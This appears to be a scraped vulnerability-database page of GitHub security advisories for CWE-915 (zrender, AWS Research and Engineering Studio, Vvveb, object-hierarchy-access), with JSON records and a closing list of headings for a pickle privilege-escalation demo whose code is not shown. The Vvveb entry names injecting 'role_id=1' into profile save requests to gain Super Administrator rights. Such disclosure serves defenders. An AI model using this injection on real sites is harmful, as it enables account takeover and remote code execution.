            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "zrender"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-17T17:51:46Z",
    "nvd_published_at": "2021-09-17T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nUsing `merge` and `clone` helper methods in the `src/core/util.ts` module will have prototype pollution. It will affect the popular data visualization library Apache ECharts, which is using and exported these two methods directly.\n\n### Patches\n \nIt has been patched in https://github.com/ecomfe/zrender/pull/826. \nUsers should update zrender to `5.2.1`.  and update echarts to `5.2.1` if project is using echarts.\n\n### References\nNA\n\n### For more information\nNA\n",
  "id": "GHSA-fhv8-fx5f-7fxf",
  "modified": "2024-12-06T18:20:49Z",
  "published": "2021-09-20T19:53:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/security/advisories/GHSA-fhv8-fx5f-7fxf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/pull/826"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ecomfe/zrender"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ecomfe/zrender/releases/tag/5.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in the merge and clone helper methods"
}

GHSA-FPFF-PJFW-GFG7

Vulnerability from github – Published: 2026-04-07 00:30 – Updated: 2026-04-07 00:30

Details

Unsanitized control of user-modifiable attributes in the session creation component in AWS Research and Engineering Studio (RES) prior to version 2026.03 could allow an authenticated remote user to escalate privileges, assume the virtual desktop host instance profile permissions, and interact with AWS resources and services via a crafted API request.

To remediate this issue, users are advised to upgrade to RES version 2026.03 or apply the corresponding mitigation patch to their existing environment.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-5708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-06T22:16:25Z",
    "severity": "HIGH"
  },
  "details": "Unsanitized control of user-modifiable attributes in the session creation component in AWS Research and Engineering Studio (RES) prior to version 2026.03 could allow an authenticated remote user to escalate privileges, assume the virtual desktop host instance profile permissions, and interact with AWS resources and services via a crafted API request.\n\nTo remediate this issue, users are advised to upgrade to RES version 2026.03 or apply the corresponding mitigation patch to their existing environment.",
  "id": "GHSA-fpff-pjfw-gfg7",
  "modified": "2026-04-07T00:30:22Z",
  "published": "2026-04-07T00:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/res/issues/149"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/2026-014-aws"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/res/releases/tag/2026.03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FXGC-2FPP-HX5W

Vulnerability from github – Published: 2026-04-20 18:31 – Updated: 2026-04-20 18:31

Details

Vvveb prior to 1.0.8.1 contains a privilege escalation vulnerability in the admin user profile save endpoint that allows authenticated users to modify privileged fields on their own profile. Attackers can inject role_id=1 into profile save requests to escalate to Super Administrator privileges, enabling plugin upload functionality for remote code execution.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-34427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-20T16:16:44Z",
    "severity": "HIGH"
  },
  "details": "Vvveb prior to\u00a01.0.8.1 contains a privilege escalation vulnerability in the admin user profile save endpoint that allows authenticated users to modify privileged fields on their own profile. Attackers can inject role_id=1 into profile save requests to escalate to Super Administrator privileges, enabling plugin upload functionality for remote code execution.",
  "id": "GHSA-fxgc-2fpp-hx5w",
  "modified": "2026-04-20T18:31:48Z",
  "published": "2026-04-20T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/commit/0eca14af50f038915b8bf7ceec2becf6b6720b0a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/givanz/Vvveb/releases/tag/1.0.8.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vvveb-privilege-escalation-via-admin-user-save"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FXWF-45C7-4PPR

Vulnerability from github – Published: 2021-10-12 16:40 – Updated: 2022-01-07 16:07

Summary

Prototype pollution in object-hierarchy-access

Details

Overview:Prototype pollution vulnerability in ‘object-hierarchy-access’ versions 0.2.0 through 0.32.0 allows attacker to cause a denial of service and may lead to remote code execution.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "object-hierarchy-access"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-11T21:14:17Z",
    "nvd_published_at": "2020-11-12T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Overview:Prototype pollution vulnerability in \u2018object-hierarchy-access\u2019 versions 0.2.0 through 0.32.0 allows attacker to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-fxwf-45c7-4ppr",
  "modified": "2022-01-07T16:07:29Z",
  "published": "2021-10-12T16:40:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mjpclab/object-hierarchy-access/commit/7b1aa134a8bc4a376296bcfac5c3463aef2b7572"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mjpclab/object-hierarchy-access"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28270"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28270,"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in object-hierarchy-access"
}

CWE-915

Improperly Controlled Modification of Dynamically-Determined Object Attributes

🚀 Overview

🚨 Special Note

📚 Table of Contents

🔍 Background

🐍 Vulnerability Description

🎭 Demo Scenario

🧨 Technical Details

🔧 Setup and Usage

📁 Files

</> Dockerfile

</> evilmod.py

</> createEvilPickle.py

</> processPDF.py

1️⃣ Build and start the demo container

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

👑 Shell 2 (Victim: root)

3️⃣ Proof of escalation

📝 Step-by-step Walkthrough

🛡️ Security Standards & References

Summary

Vulnerability Details: Component Access Control Bypass

Proof of Concept (PoC)

Impact

Impact

Patches

References

For more information

Mitigation

Mitigation

Mitigation

Mitigation